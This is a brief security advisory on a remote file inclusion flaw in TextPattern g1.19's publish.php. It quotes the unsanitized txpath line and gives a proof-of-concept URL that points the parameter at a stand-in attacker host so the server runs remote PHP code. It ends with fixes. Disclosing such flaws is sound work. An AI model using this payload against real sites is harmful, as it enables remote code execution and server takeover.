TextPattern <=1.19 Remote File Inclusion Vulnerability

TextPattern <=g1.19 (txpcfg[txpath]) Remote File Inclusion Vulnerability

Author : Zeni Susanto A.K.A Bithedz
Date Found : October, 25th 2006
Location : Indonesia,Bandung
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

Application     : TextPattern
version         : <=g1.19
URL             : http://textpattern.com/deanload/textpattern_g119.zip

textpattern is A free, flexible, elegant, easy-to-use content management system for all kinds of websites, even weblogs.


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Vulnerability:
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In file publish.php I found vulnerability script
--------------------------publish.php---------------------------------------
define("txpath",$txpcfg['txpath']); 
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Input passed to the "txpcfg['txpath']" parameter in publish.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.


Proof Of Concept:
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http://yourtargetsite/[textpattern_g119_path]/textpattern/publish.php?txpcfg[txpath]=http://attact/colok.txt?
Solution:
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- Sanitize variable $txpcfg['txpath'] on affected files.
- Turn off register_globals

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Shoutz:
~
~ K-159
~ Monik My Brain
~ #bridge (silent) @irc.dal.net
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Contact:
~
bithedz[at]gmail[dot]com